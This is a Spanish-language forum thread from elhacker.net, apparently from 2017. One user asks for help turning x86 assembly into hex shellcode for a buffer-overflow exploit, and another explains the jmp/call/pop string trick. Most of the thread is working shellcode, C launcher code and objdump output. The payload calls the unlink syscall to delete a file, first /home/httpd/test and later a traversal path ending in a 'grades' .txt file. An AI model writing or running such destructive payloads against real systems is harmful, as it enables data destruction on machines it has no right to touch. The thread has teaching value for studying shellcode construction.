Foro de elhacker.net

Programación => ASM => Mensaje iniciado por: GGZ en 26 Enero 2017, 23:48 pm



Título: Shellcode to HEX (BOF)
Publicado por: GGZ en 26 Enero 2017, 23:48 pm
Hola a todos, estoy explotando un bof necesito una ayuda.

Necesito pasar esta serie de instrucciones a hexa para luego ejecutarlo con C.

Código
  1. .section .data
  2. __archivo:
  3. .asciz "/home/httpd/test"  # Archivo a eliminar.
  4.  
  5. .section .text
  6. .global main
  7. main:
  8.        movl $10, %eax    
  9.        movl $__archivo, %ebx    
  10.        int  $0x80
  11.  
  12.        movl %eax, %ebx  
  13.        movl $1, %eax      
  14.        int  $0x80

Quiero pasar este código asm que borra un archivo a C tipo:

Código
  1. char sc[] =  "\xb8\x0a\x00\x00\x00\xbb\x8c\x90\x04\x08\xcd\x80\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80";
  2.  
  3. int main (void){
  4.  
  5.        int (*func)();
  6.        func = (int (*)())sc;
  7.        (int)(*func)();
  8. }


Pero me parece que estoy pasando mal el asm al hexadecimal, ¿cómo puedo pasarlo para ejecutarlo desde C?

Probé hacerlo con objdump pero no funciona.

Saludos.


Título: Re: ASM to HEX (BOF)
Publicado por: xv0 en 28 Enero 2017, 01:52 am
Por lo que veo tienes la cadena en la sección data, y estas pasando la direccion en la shellcode. Porque no colocas la misma cadena al final de la sección text:

Código
  1. .section .text
  2. .global main
  3. main:
  4.  
  5. jmp __archivo
  6.  
  7. _salto:
  8.        movl $10, %eax    
  9.        popl %ebx
  10.        int  $0x80
  11.  
  12.        movl %eax, %ebx  
  13.        movl $1, %eax      
  14.        int  $0x80
  15.  
  16. __archivo:
  17.  
  18. call _salto
  19. .asciz "/home/httpd/test"  # Archivo a eliminar.

Miralo con el objdump, y copia los hex.

Un saludo.


Título: Re: ASM to HEX (BOF)
Publicado por: GGZ en 28 Enero 2017, 04:40 am
Ya está lo solucioné haciendo esto:
Código
  1.    pushl $0x7478742e   # ".txt" (en orden inverso)
  2.    pushl $0x73656461   # "ades"
  3.    pushl $0x72672f2f    #  "//gr"
  4.    pushl $0x2f2f2e2e     # "..//"

Luego lo cargué a ebx esp.
Y después lo miré con el objdump.


Muchas gracias igual, me sirve para la próxima!


Título: Re: ASM to HEX (BOF)
Publicado por: xv0 en 28 Enero 2017, 16:35 pm
Pero sabes el porque del fallo? Si desensamblas el ejecutable que creas con C y mira a que datos apunto el offset que pasas a ebx, ya que ni sera un offset valido.

Por ese motivo las shellcodes pasan path, de esa forma ya que no pueden depender de direcciones como data etc...

Un saludo.


Título: Re: Shellcode to HEX (BOF)
Publicado por: GGZ en 28 Enero 2017, 19:42 pm
Si lo aplico objdump a lo que me diste me tira esto:

Código
  1. s.o:     file format elf32-i386
  2.  
  3.  
  4. Disassembly of section .text:
  5.  
  6. 00000000 <main>:
  7.   0: eb 11                 jmp    13 <__archivo>
  8.  
  9. 00000002 <_salto>:
  10.   2: b8 0a 00 00 00       mov    $0xa,%eax
  11.   7: 5b                   pop    %ebx
  12.   8: cd 80                 int    $0x80
  13.   a: 89 c3                 mov    %eax,%ebx
  14.   c: b8 01 00 00 00       mov    $0x1,%eax
  15.  11: cd 80                 int    $0x80
  16.  
  17. 00000013 <__archivo>:
  18.  13: e8 ea ff ff ff       call   2 <_salto>
  19.  18: 2f                   das    
  20.  19: 68 6f 6d 65 2f       push   $0x2f656d6f
  21.  1e: 68 74 74 70 64       push   $0x64707474
  22.  23: 2f                   das    
  23.  24: 74 65                 je     8b <__archivo+0x78>
  24.  26: 73 74                 jae    9c <__archivo+0x89>
  25. ...
  26.  

O sea que:
  19:   68 6f 6d 65 2f          push   $0x2f656d6f
  1e:   68 74 74 70 64          push   $0x64707474

significa /home/httpd/test?, todavía no sé como armar la shellcode ahí, ¿copio todos esos hex? No lo creo.
A mi me quedó todo en una función mucho más prolijo y fácil de entender.

Mi shellcode quedó así:
Código
  1. .section .text
  2. .global main
  3. main:
  4.        xorl %eax,%eax
  5.        movl $10,%eax
  6.  
  7.        # Esta es la dirección del archivo a borrar.
  8.        pushl $0x7478742e
  9.        pushl $0x73656461
  10.        pushl $0x72672f2f
  11.        pushl $0x2f2f2e2e
  12.        movl %esp,%ebx
  13.  
  14.        int  $0x80
  15.  
  16.        movl %eax, %ebx # La salida se guarda en ebx
  17.        movl $1, %eax        # exit syscall
  18.        int  $0x80  # llamada al sistema.
  19.  


Lo que tengo entendido es que cuando se crea el objeto del source, éste no guarda las variables y yo estoy desamblando el objeto por eso no tengo las variables.
Saludos.


Título: Re: Shellcode to HEX (BOF)
Publicado por: xv0 en 28 Enero 2017, 20:49 pm
¡
Código
  1. s.o:     file format elf32-i386
  2.  
  3.  
  4. Disassembly of section .text:
  5.  
  6. 00000000 <main>:
  7.   0: eb 11                 jmp    13 <__archivo>
  8.  
  9. 00000002 <_salto>:
  10.   2: b8 0a 00 00 00       mov    $0xa,%eax
  11.   7: 5b                   pop    %ebx
  12.   8: cd 80                 int    $0x80
  13.   a: 89 c3                 mov    %eax,%ebx
  14.   c: b8 01 00 00 00       mov    $0x1,%eax
  15.  11: cd 80                 int    $0x80
  16.  
  17. 00000013 <__archivo>:
  18.  13: e8 ea ff ff ff       call   2 <_salto>
  19.  18: 2f                   das    
  20.  19: 68 6f 6d 65 2f       push   $0x2f656d6f
  21.  1e: 68 74 74 70 64       push   $0x64707474
  22.  23: 2f                   das    
  23.  24: 74 65                 je     8b <__archivo+0x78>
  24.  26: 73 74                 jae    9c <__archivo+0x89>
  25. ...
  26.  

Lo que hay debajo del call es la cadena, cuando haces el call hace un push del offset a continuación del call, lo que significa que tienes un offset que apunta al principio de la cadena, los offset no son validos, ya que se toma como cadena, no se ejecutan.

Luego el pop del ebx, carga el offset del call, puedes hacerlo con los push y luego copiar el offset que seria lo mismo, que es lo que haces.

Si copia todo los obcode, nada mas, igual que lo tuya.

Saludos[